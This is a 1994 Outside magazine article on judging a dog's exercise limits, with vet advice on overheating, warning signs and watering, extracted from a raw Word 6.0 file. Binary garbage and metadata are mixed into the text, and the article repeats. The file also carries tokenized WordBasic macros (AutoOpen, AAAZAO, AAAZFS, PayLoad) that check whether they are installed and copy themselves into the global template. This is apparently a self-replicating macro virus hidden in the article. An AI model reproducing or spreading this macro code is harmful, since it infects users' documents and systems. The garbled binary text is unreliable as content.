Strategies: See Spot's Limits

Outside magazine, September 1994


Strategies: See Spot's Limits
By Martha Thomas


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"Watch your dog," says Arleigh Reynolds, a professor of clinical nutrition at the Cornell University College of Veterinary Medicine. "It's that simple." Reynolds suggests stopping every 15 minutes or so, especially if your dog's new to the routine or the temperature is above 55 degrees with some humidity. "If your dog sprawls out on the ground when you stop," he says, "chances are he's trying to cool off through contact with the earth." Excessive panting or drooling are also obvious warning signs--the only way a dog can release heat is through its mouth, and while this cools the head, it does little for the rest of the body. On a hot day, it's a good idea to soak the dog's fur before you set out, and to pay attention to any distress signals the hound may be sending. "If his head and tail drop and he slows down," says Delaney, "get him to water immediately." Like humans, dogs can suffer from cramps and diarrhea if they binge in the middle of a workout, so watch for sluggishness after a water break. Give your dog only a pint of water when you get home, then wait 15-30 minutes before refilling its bowl.

And if you're wondering how your pet compares to the elite athletes of the dog world, know that Reynolds's sled dog teams often run a hilly three miles daily at 20 miles per hour, pulling a 700-pound load. And that's just the off-season. But by the time the work gets serious the sled dogs have other burning problems--like how to keep their paws from icing up in subzero weather. D‹…­ñ þ2à…ŸòùOh«'+'³Ù0K ˜Èä ’ 1 9SummaryInformation(.{˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜C-(C:\MSOFFICE\WINWORD\TEMPLATE\NORMAL.DOT-Willemijn de Clercq-Willemijn de Clercqä-Microsoft Word 6.0-1˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜šhEÀ eï ƒï jjjjjjï €€€€€€ Š €À1""""""""Û½˜˜˜2Êì¶ì¢-ñXI:Àj" """"À"jj""""""j"j"Ûjr jjjj"Û"G"

See Spot's Limits Mari Delaney, a veterinarian and marathoner who logs about 50 miles each week in the company of her Doberman, knows that the dog's aerobic capacity is maybe three times greater than hers. But that doesn't mean her workout partner is ready for more after Delaney's gone home exhausted. Because dogs don't have sweat glands, overheating is a big threat, even in temperate weather. So how do you gauge your dog's ability to keep up on a daily run, cycle, or skate?

"Watch your dog," says Arleigh Reynolds, a professor of clinical nutrition at the Cornell University College of Veterinary Medicine. "It's that simple." Reynolds suggests stopping every 15 minutes or so, especially if your dog's new to the routine or the temperature is above 55 degrees with some humidity. "If your dog sprawls out on the ground when you stop," he says, "chances are he's trying to cool off through contact with the earth." Excessive panting or drooling are also obvious warning signs--the only way a dog can release heat is through its mouth, and while this cools the head, it does little for the rest of the body. On a hot day, it's a good idea to soak the dog's fur before you set out, and to pay attention to any distress signals the hound may be sending. "If his head and tail drop and he slows down," says Delaney, "get him to water immediately." Like humans, dogs can suffer from cramps and diarrhea if they binge in the middle of a workout, so watch for sluggishness after a water break. Give your dog only a pint of water when you get home, then wait 15-30 minutes before refilling its bowl.

And if you're wondering how your pet compares to the elite athletes of the dog world, know that Reynolds's sled dog teams often run a hilly three miles daily at 20 miles per hour, pulling a 700-pound load. And that's just the off-season. But by the time the work gets serious the sled dogs have other burning problems--like how to keep their paws from icing up in subzero weather. diMAINdR,-*iAbortdRi iMacroCount gú€l’ldRk-see if we're already installeddR#ii l$i iMacroCountdog,€ii’l’l j PayLoad-doi bInstalled ldodog,€ii’l’l j FileSaveAs-doibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTrouble-dok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance g€gMj WW6InfectordoisMe$ g%€doi sMacro$ isMe$ j:Payloaddogƒ€i sMacro$’j Global:PayLoaddoi sMacro$ isMe$ j :AAAZFSdogƒ€i sMacro$’jGlobal:FileSaveAsdoi sMacro$ isMe$ j :AAAZFSdogƒ€i sMacro$’j Global:AAAZFSdoi sMacro$ isMe$ j :AAAZAOdogƒ€i sMacro$’j Global:AAAZAOdogF€jWW6I’g €i iWW6IInstance ldog+€g €i iWW6IInstance ldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs‰ l-idlgs‰ ldisMe$ g%€disTMacro$ isMe$ j :AutoOpendgƒ€j Global:AAAZAO’isTMacro$disTMacro$ isMe$ j :AAAZAOdgƒ€j Global:AAAZAO’isTMacro$disTMacro$ isMe$ j :AAAZFSdgƒ€j Global:AAAZFS’isTMacro$disTMacro$ isMe$ j:PayLoaddgƒ€j Global:PayLoad’isTMacro$dgTidlgd*iDonedeBaildiErr lf-dRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount gú€l’ldRk-see if we're already installeddR#ii l$i iMacroCountdog,€ii’l’l j PayLoad-doi bInstalled ldodog,€ii’l’l j FileSaveAs-doibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTrouble-dok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance g€gMj WW6InfectordoisMe$ g%€doi sMacro$ isMe$ j:Payloaddogƒ€i sMacro$’j Global:PayLoaddoi sMacro$ isMe$ j :AAAZFSdogƒ€i sMacro$’jGlobal:FileSaveAsdoi sMacro$ isMe$ j :AAAZFSdogƒ€i sMacro$’j Global:AAAZFSdoi sMacro$ isMe$ j :AAAZAOdogƒ€i sMacro$’j Global:AAAZAOdogF€jWW6I’g €i iWW6IInstance ldog+€g €i iWW6IInstance ldReAbortdï ³’þu@g ã!r¨ÛñòC'×K‡Ï N | ¬ Ü PšÍ H d e ¦ å ] ' Ú ï þ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!dþ…!d( K@ñNormala "A@ò¡"Default Paragraph Font!˜˜³’ ï GWillemijn de Clercq0\\GAMMA\AMAZON\sgmlfile\outside\0994\949bstr.sgm˜U ®æ U"³é U "1œU®æÍ)AutoOpenAAAZAOAAAZFS PayLoad AAAZAOAAAZFS PAYLOADAUTOOPEN@\\STARBASE12\KAHN_QNe00:winspoolHP LaserJet 4M\\STARBASE12\KAHN_Q |p[LetterL N N N'\\STARBASE12\KAHN_Q |p[LetterL N N N'€î î kkî î 1Times New Roman Symbol &Arial"^Ðh‚›ú…‚›ú…ƒ$:Willemijn de ClercqWillemijn de ClercqÐÏࡱá>þ þ˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜˜

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